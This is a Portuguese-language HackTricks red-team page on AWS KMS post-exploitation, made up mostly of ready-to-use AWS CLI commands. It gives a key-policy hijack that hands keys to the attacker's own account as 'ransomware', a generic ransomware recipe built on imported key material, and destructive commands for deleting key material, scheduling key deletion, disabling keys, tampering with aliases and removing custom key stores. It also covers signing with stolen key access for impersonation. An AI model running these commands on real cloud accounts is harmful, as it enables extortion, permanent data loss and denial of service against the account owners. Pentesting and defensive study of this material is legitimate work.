AWS - KMS Post Exploitation

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

KMS

Para mais informações, consulte:

AWS - KMS Enum

Criptografar/Descriptografar informações

fileb:// and file:// são esquemas de URI usados em comandos AWS CLI para especificar o caminho para arquivos locais:

  • fileb://: Lê o arquivo em modo binário, comumente usado para arquivos não-texto.
  • file://: Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não tenham requisitos especiais de codificação.

Tip

Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)

  • Usando uma chave simétrica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Usando uma chave assimétrica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Um atacante com acesso privilegiado ao KMS pode modificar a política KMS das chaves e conceder acesso às mesmas à sua própria conta, removendo o acesso concedido à conta legítima.

Então, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware simples porém eficaz na conta.

Warning

Note que AWS managed keys aren’t affected por este ataque; somente Customer managed keys.

Observe também a necessidade de usar o parâmetro --bypass-policy-lockout-safety-check (a ausência dessa opção na console da web torna esse ataque possível apenas a partir do CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Observe que se você alterar essa policy e apenas conceder acesso a uma conta externa, e então a partir dessa conta externa tentar definir uma nova policy para restituir o acesso à conta original, você não conseguirá, pois a ação Put Polocy não pode ser executada a partir de uma cross account.

Generic KMS Ransomware

Existe outra maneira de realizar um KMS Ransomware global, que envolveria os seguintes passos:

  • Criar uma nova key with a key material importada pelo attacker
  • Re-encrypt older data da victim que foi encrypted com a versão anterior, usando a nova
  • Delete the KMS key
  • Agora somente o attacker, que possui o original key material, poderia decrypt the encrypted data

Delete Keys via kms:DeleteImportedKeyMaterial

Com a permissão kms:DeleteImportedKeyMaterial, um actor pode deletar o imported key material de CMKs com Origin=EXTERNAL (CMKs que importaram seu key material), tornando-as incapazes de decrypt data. Esta ação é destrutiva e irreversível a menos que material compatível seja re-importado, permitindo que um attacker cause efetivamente perda de dados do tipo ransomware ao tornar a informação encrypted permanentemente inacessível.

aws kms delete-imported-key-material --key-id <Key_ID>

Destruir chaves

Ao destruir chaves, é possível causar um DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Observe que a AWS agora impede que as ações anteriores sejam executadas a partir de uma conta cruzada:

Alterar ou excluir Alias

Este ataque exclui ou redireciona AWS KMS aliases, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em uma negação de serviço. Com permissões como kms:DeleteAlias ou kms:UpdateAlias um atacante pode remover ou reapontar aliases e interromper operações criptográficas (e.g., encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou remapeado corretamente.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancelar exclusão de chave

Com permissões como kms:CancelKeyDeletion e kms:EnableKey, um ator pode cancelar a exclusão agendada de uma customer master key do AWS KMS e, posteriormente, reativá-la. Isso recupera a chave (inicialmente no estado Disabled) e restaura sua capacidade de descriptografar dados anteriormente protegidos, permitindo exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

Com a permissão kms:DisableKey, um ator pode desabilitar uma chave mestra do cliente (CMK) do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.

aws kms disable-key \
--key-id <key_id>

Derivar Segredo Compartilhado

Com a permissão kms:DeriveSharedSecret, um ator pode usar uma chave privada mantida pelo KMS mais uma chave pública fornecida pelo usuário para calcular um segredo compartilhado ECDH.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Com a permissão kms:Sign, um ator pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Com permissões como kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore ou kms:UpdateCustomKeyStore, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperantes. Isso interrompe operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Portanto, restringir e monitorar essas permissões é crítico.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks